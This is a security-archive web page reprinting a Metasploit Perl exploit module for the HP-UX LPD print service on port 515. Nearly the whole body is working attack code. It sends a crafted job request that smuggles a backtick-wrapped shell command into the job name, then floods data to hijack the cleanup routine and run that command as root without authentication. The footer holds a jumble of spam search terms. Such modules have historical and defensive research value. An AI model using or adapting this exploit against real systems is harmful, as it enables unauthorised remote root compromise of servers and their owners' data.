about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , HP-UX LPD Service Remote "Root" Command Execution Exploit



2005-10-19 HP-UX LPD Service Remote "Root" Command Execution Exploit
Rated as : High 
Port : 515


##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'HP-UX LPD Command Execution',
'Version' => '$Revision: 1.13 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
'Arch' => [ ],
'OS' => [ 'hpux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
},
'Payload' =>
{
'Space' => 200,
'Keys' => ['cmd_nospaceslash'],
},

'Description' => Pex::Text::Freeform(qq{
This exploit abuses an unpublished vulnerability in the HP-UX LPD
service. This flaw allows an unauthenticated attacker to execute
arbitrary commands with the privileges of the root user. The LPD
service is only exploitable when the address of the attacking system
can be resolved by the target. This vulnerability was silently patched
with the buffer overflow flaws addressed in HP Security Bulletin
HPSBUX0208-213.
}),
'Refs' => [
['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
],

'Keys' => ['lpd'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' =>
$advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

my $res;

# We use a second connection to exploit the bug
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

srand(time() + $$);
my $num = int(rand() * 1000);

$s->Send("\x02msf$num`$cmd`\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our second job
request command");
$s->Close;
return;
}

$s->Send("\x02 32 cfA187control\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control
file");
$s->Close;
return;
}

$self->PrintLine("[*] Remember to kill the telnet process when
finished");
$self->PrintLine("[*] Forcing an error and hijacking the cleanup
routine...");
$s->Send(Pex::Text::AlphaNumText(16384));
$s->Close;

return;
}
securitydot.net - 2005-10-19

Advertising

Copyright 2007, SecurityDot
Wed, 16 Dec 2009 22:05:46 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
www.jshuwe DG834 php-nuke a webmin 1.2 www.onet.p news for c 2...n.com/ www.worldB mambo Remo lo47l reshma hot 2...n.com/ how to hav reshma hot blackberry 2...n.com/ guest book Casino roy Free saxy WWW.GIA18. SEXYWOMENP www.89.kom 2...n.com/ RESHMA MAL squid web Kumtaz/r/n Sex move www.arabtv include j...sgalle 2...n.com/ hugo for f 2...n.com/ wamp_dir/s mria attachemen www avod g 2...n.com/ admit www.beachs 52daogou.c blue films Zasi. components www.sexivi bof Mrs. monro www.realho girls with 2...n.com/